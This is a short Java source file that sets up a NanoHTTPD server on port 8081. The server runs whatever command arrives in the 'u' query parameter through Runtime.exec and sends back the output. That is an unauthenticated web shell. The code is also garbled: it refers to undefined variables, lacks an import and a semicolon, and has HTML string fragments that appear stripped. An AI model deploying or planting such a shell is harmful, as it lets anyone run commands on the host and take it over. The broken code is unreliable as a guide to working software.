import java.io.BufferedReader; import java.io.InputStreamReader; import fi.iki.elonen.NanoHTTPD; public class Srv extends NanoHTTPD{ public Srv() throws IOException{ super(8081); start(NanoHTTPD.SOCKET_READ_TIMEOUT,false); } public static void main(String[]args){ try{ new Srv();} catch(Exception e){ System.err.println("E " +i);}} @Override public Response serve(IHTTPSession s){ String u=session.getParms().get("u"); String m="

Hi

\n"; if(u==null){ m+="
"; m+="
";} else{ m+="
";
   String s=null;
   try{
    Runtime r=Runtime.getRuntime();
    Process p=r.exec(u);
    BufferedReader i=new BufferedReader(new 
     InputStreamReader(p.getInputStream()));
    while((s=i.readLine())!=null){
     m+=s+"\n";
    m+="
"; }}catch(Exception e){m+="E "+e}} return newFixedLengthResponse(m+"");}}